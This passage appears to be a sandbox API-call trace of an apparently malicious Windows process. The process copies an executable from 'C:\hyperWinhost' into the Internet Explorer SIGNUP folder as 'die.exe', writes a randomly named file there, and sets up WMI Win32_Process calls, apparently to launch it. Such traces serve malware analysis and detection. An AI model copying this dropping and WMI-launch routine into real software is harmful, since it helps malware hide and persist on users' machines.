lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d665b0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d665b0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d8c70f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d8c70f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa96b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2aa96b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2acf818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4239426f, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x4239426f, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x67fe631c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x40df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0ea3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x68b0ea3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x68b34b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x56df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0075.300] FindClose (in: hFindFile=0x11a65a0 | out: hFindFile=0x11a65a0) returned 1 [0075.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0075.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0075.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0075.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpFilePart=0x0) returned 0x2f [0075.300] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11a65a0 [0075.301] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.301] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0075.301] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0075.302] FindClose (in: hFindFile=0x11a65a0 | out: hFindFile=0x11a65a0) returned 1 [0075.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0075.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0075.307] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0075.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe", lpFilePart=0x0) returned 0x37 [0075.307] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\die.exe"), bFailIfExists=0) returned 1 [0075.381] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\be01a3c1c9db39", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\be01a3c1c9db39", lpFilePart=0x0) returned 0x3e [0075.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0075.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\be01a3c1c9db39" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\be01a3c1c9db39"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x368 [0075.382] GetFileType (hFile=0x368) returned 0x1 [0075.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0075.382] GetFileType (hFile=0x368) returned 0x1 [0075.382] WriteFile (in: hFile=0x368, lpBuffer=0x2a2bd38*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a2bd38*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x99, lpOverlapped=0x0) returned 1 [0075.384] CloseHandle (hObject=0x368) returned 1 [0075.385] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0075.386] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0075.386] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0075.386] IUnknown:Release (This=0x111f638) returned 0x1 [0075.467] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf77530) returned 0x0 [0075.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77530, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0075.468] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77530, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf6f620) returned 0x0 [0075.468] WbemDefPath:IUnknown:Release (This=0x1bf77530) returned 0x0 [0075.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f620, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf6f620) returned 0x0 [0075.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f620, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0075.468] WbemDefPath:IUnknown:AddRef (This=0x1bf6f620) returned 0x3 [0075.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f620, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0075.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f620, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0075.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f620, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf77570) returned 0x0 [0075.469] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77570, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.469] WbemDefPath:IUnknown:Release (This=0x1bf77570) returned 0x3 [0075.469] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0075.469] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0075.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f620, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0075.469] WbemDefPath:IUnknown:Release (This=0x1bf6f620) returned 0x2 [0075.469] WbemDefPath:IUnknown:Release (This=0x1bf6f620) returned 0x1 [0075.469] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0075.469] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0075.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f620, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf6f620) returned 0x0 [0075.469] WbemDefPath:IUnknown:AddRef (This=0x1bf6f620) returned 0x3 [0075.469] WbemDefPath:IUnknown:Release (This=0x1bf6f620) returned 0x2 [0075.470] WbemDefPath:IWbemPath:SetText (This=0x1bf6f620, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0075.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f620, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0075.470] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f620, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0075.470] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f620, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0075.470] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6f620, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0075.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f620, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0075.470] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6f620, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0075.470] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0075.470] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0075.470] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0075.470] IUnknown:Release (This=0x111f638) returned 0x1 [0075.472] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf775b0) returned 0x0 [0075.473] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf775b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0075.473] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf775b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf6f6e0) returned 0x0 [0075.473] WbemDefPath:IUnknown:Release (This=0x1bf775b0) returned 0x0 [0075.473] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f6e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf6f6e0) returned 0x0 [0075.473] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f6e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0075.473] WbemDefPath:IUnknown:AddRef (This=0x1bf6f6e0) returned 0x3 [0075.473] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f6e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0075.473] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f6e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0075.473] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f6e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf775f0) returned 0x0 [0075.473] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf775f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.474] WbemDefPath:IUnknown:Release (This=0x1bf775f0) returned 0x3 [0075.474] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0075.474] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0075.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f6e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0075.474] WbemDefPath:IUnknown:Release (This=0x1bf6f6e0) returned 0x2 [0075.474] WbemDefPath:IUnknown:Release (This=0x1bf6f6e0) returned 0x1 [0075.474] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0075.474] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0075.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f6e0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf6f6e0) returned 0x0 [0075.474] WbemDefPath:IUnknown:AddRef (This=0x1bf6f6e0) returned 0x3 [0075.474] WbemDefPath:IUnknown:Release (This=0x1bf6f6e0) returned 0x2 [0075.474] WbemDefPath:IWbemPath:SetText (This=0x1bf6f6e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0075.474] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f6e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0075.474] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f6e0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0075.474] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f6e0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0075.474] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6f6e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0075.474] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f6e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0075.474] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6f6e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0075.474] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f6e0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0075.475] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0075.475] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0075.475] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.475] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0075.475] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0075.475] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0075.475] IUnknown:Release (This=0x111f638) returned 0x1 [0075.477] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 